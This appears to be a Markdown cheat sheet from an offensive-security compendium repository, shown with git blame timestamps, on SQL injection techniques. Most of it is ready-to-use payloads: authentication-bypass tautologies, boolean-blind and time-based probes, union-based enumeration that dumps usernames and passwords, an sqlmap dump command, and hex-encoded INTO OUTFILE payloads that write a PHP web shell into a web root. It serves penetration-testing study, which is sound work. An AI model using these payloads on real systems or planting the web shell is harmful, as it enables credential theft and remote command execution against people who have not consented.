killchain-compendium/Exploits/Databases/SQL Injection.md

193 lines
6.6 KiB
Markdown
Raw Normal View History

2022-11-13 22:38:01 +01:00
# SQL Injection
2022-11-14 00:58:35 +01:00
In an SQL injection an SQL statement is ended prematurely through setting the quote earlier than intended by the original programmer. The malicious command is then ended by an SQL comment to ignore the following parts of the original SQL statement.
2022-11-14 00:50:02 +01:00
A piece of understanding the way of injecting malicious SQL commands is to understand the syntax of [MySQL Comments](https://blog.raw.pm/en/sql-injection-mysql-comment/).
* [OWASP SQLi Docs](https://www.owasp.org/index.php/SQL_Injection)
2022-11-13 22:38:01 +01:00
## Finding an Opportunity
2022-11-14 00:50:02 +01:00
2022-11-13 22:38:01 +01:00
* GET parameter
```sh
http://example.com/index.php?id=' or 1=1 -- -
```
2022-11-14 00:50:02 +01:00
* Sometimes another parameter may come first
2022-11-13 22:38:01 +01:00
```sh
http://example.com/index.php?id=10 or 1=1 -- +
http://example.com/index.php?id=10' or '1'='1'-- -
http://example.com/index.php?id=-1' or 1=1 -- -&password=x
```
2022-11-14 00:50:02 +01:00
* Provoking an error to gain information if an injection might be possible. Check by just putting in a single quote
2022-11-13 22:38:01 +01:00
```sh
http://example.com/index.php?id='
```
* **Incase of client side sanitization craft the URL instead of using the form!!!**
## Usage
2022-11-14 00:50:02 +01:00
* Terminate the string of the SQL command via `'` and resolve via tautology like 1=1, comment the rest of the string via `--`. This defaults to a true statement and delivers a response containing DB content
2022-11-13 22:38:01 +01:00
```sql
SELECT * FROM users WHERE username = admin AND password := ' and 1=1 -- -
SELECT * FROM users WHERE username = admin AND password := ' or 1=1 --+
```
2022-11-14 00:50:02 +01:00
There are further methods of SQL injection following below.
2022-11-13 22:38:01 +01:00
### Boolean True and False
2022-11-14 00:50:02 +01:00
2022-11-13 22:38:01 +01:00
```sql
SELECT * FROM users WHERE username = admin AND password :=1' or 1 < 2 --+
SELECT * FROM users WHERE username = admin AND password :=1' or 1 > 2 --+
```
2022-11-14 00:50:02 +01:00
* Blind boolean base substring fuzzes one char at a time, by inspecting the return value after each inserted char.
2022-11-13 22:38:01 +01:00
```sql
' UNION SELECT null,null,null where database() like 'da%';-- -
```
2022-11-14 00:50:02 +01:00
### Time Based
* Checking input blindly via sleep() function. Count the number of columns in this way. on success, the sleep(5) function executes
2022-11-13 22:38:01 +01:00
```sql
' union select sleep(3), null; -- -
```
2022-11-14 00:50:02 +01:00
### Blind injection
* A blind injection methods tries to guess characters not by returned values but by how the DB behaves to your request
2022-11-13 22:38:01 +01:00
```sh
http://example.com/?id=1' and substr((select database()),1,1) < 105 --+
```
```sh
http://example.com/?id=1' and (ascii(substr((select database(),1,1)) = 115 --+
```
* Function substr(string, start, length)
* sqlmap via `--level=5 --risk=3 --dbms=sqlite --technique=b --dump`
### Union based
2022-11-14 00:50:02 +01:00
Union based injections is an incremental and cautios approach.
Start by trying to provoke errors to validate a possible injection.
2022-11-14 00:58:35 +01:00
* __First method__ check by order until error occurs
2022-11-13 22:38:01 +01:00
```sql
' order by 1 -- -
' order by 2 -- -
' order by 3 -- -
```
2022-11-14 00:50:02 +01:00
Check the number of columns by inserting NULL values one after another.
* __Second method__ fuzzing NULL values, followed by fuzzing data types
2022-11-13 22:38:01 +01:00
* Check number of cols
```sql
2023-08-26 16:06:40 +02:00
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
2022-11-13 22:38:01 +01:00
# until the error occurs
```
2022-11-14 00:50:02 +01:00
* Check which one contains String values
2022-11-13 22:38:01 +01:00
```sql
2023-08-26 16:06:40 +02:00
' UNION SELECT 'a',NULL,NULL,NULL -- -
' UNION SELECT NULL,'a',NULL,NULL -- -
' UNION SELECT NULL,NULL,'a',NULL -- -
' UNION SELECT NULL,NULL,NULL,'a' -- -
2022-11-13 22:38:01 +01:00
```
2022-11-14 00:50:02 +01:00
* Retrieve content, for cols as an example, or dump database
2022-11-13 22:38:01 +01:00
```sql
2023-08-26 16:06:40 +02:00
' UNION SELECT NULL,NULL,database(),NULL,NULL from users -- - //
' UNION SELECT NULL,username,password,NULL FROM users -- - //
2022-11-13 22:38:01 +01:00
```
2022-11-14 00:50:02 +01:00
* Retrieve content by union poking the count and order of columns, afterwards extracting tables via
2022-11-13 22:38:01 +01:00
```sh
0 union select null, null, database()
0 union select null, null, group_concat(table_name) from information_schema.tables where table_schema = 'found_db'
0 union select null, null, group_concat(column_name) from information_schema.columns where table_name = 'found_tablename'
0 union select null, null, group_concat(username, ':', password from found_tablename
```
2022-11-14 01:07:22 +01:00
The examples above contain methods of retrieving table name, column names. The last example uses the information returned to inject the correct column names so the acutal content of them are retrieved. Further examples under [SQL Functions](#SQL-Functions)
2022-11-14 00:50:02 +01:00
## Further Information
2022-11-13 22:38:01 +01:00
### Identify Database
2022-11-14 00:50:02 +01:00
The following examples are methods of retrieving the type of DBMS in use.
2022-11-13 22:38:01 +01:00
```sh
id=sqlite_version()
id=@@version # mysql/mssql
id=(SELECT banner FROM v$version) # oracle
```
#### SQL Functions
2022-11-14 00:50:02 +01:00
Use SQL functions to poke the tables & cols via union.
2022-11-13 22:38:01 +01:00
* [source](https://medium.com/@nyomanpradipta120/sql-injection-union-attack-9c10de1a5635)
* Extract tables
```sql
1' and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database() -- -
```
2022-11-14 00:50:02 +01:00
* SQLite specifica
2022-11-13 22:38:01 +01:00
```sql
' UNION SELECT sql, sql FROM sqlite_master -- -
```
```sql
(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='usertable')
(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')
```
2022-11-14 00:50:02 +01:00
* Extract columns
2022-11-13 22:38:01 +01:00
```sh
1' and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema = database() and table_name ='user'-- -
```
2022-11-14 00:50:02 +01:00
* Extract Data from cols
2022-11-13 22:38:01 +01:00
```sql
1' and 1=2 union select 1,group_concat(username,0x3a,password),3,4 from user-- -
```
2022-11-14 00:50:02 +01:00
## Value Insertion
Under the right conditions, it is possible to insert information into a table.
2022-11-13 22:38:01 +01:00
2022-11-14 00:50:02 +01:00
* Check user file permissions if an insertion is possible
2022-11-13 22:38:01 +01:00
```sql
union all select 1,group_concat(user,0x3a,file_priv),3,4 from mysql.user -- -
```
* Insert file through insertion of `system()` or `exec_shell()` and a get parameter
```sql
<cookieID>'into outfile '/var/www/html/shello.php' lines terminated by 0x3c3f706870206563686f20223c7072653e22202e2073797374656d28245f4745545b22636d64225d29202e20223c2f7072653e223b3f3e -- -
```
* Insert `<?php system($_GET["cmd"]); ?>`
```sql
" Union Select 1,0x201c3c3f7068702073797374656d28245f4745545b2018636d6420195d293b203f3e201d,3,4 INTO OUTFILE '/var/www/html/shell.php' -- -
```
2022-11-14 00:50:02 +01:00
### Further Examples
* sqli inside HTTP request to an API. Five columns in the select have been discovered before
2022-11-13 22:38:01 +01:00
```HTTP
GET /about/0 UNION select column_name, null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1
```
2022-11-14 00:50:02 +01:00
* Get column names
2022-11-13 22:38:01 +01:00
```HTTP
GET /about/0 UNION all select group_concat(column_name), null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1
```
2022-11-14 00:50:02 +01:00
* Get rows from users by id
2022-11-13 22:38:01 +01:00
```HTTP
GET /about/0 UNION all select notes, null, null, null, null from users where id = 4711 HTTP/1.1
```
## Payloads
* [List](https://github.com/payloadbox/sql-injection-payload-list#generic-sql-injection-payloads)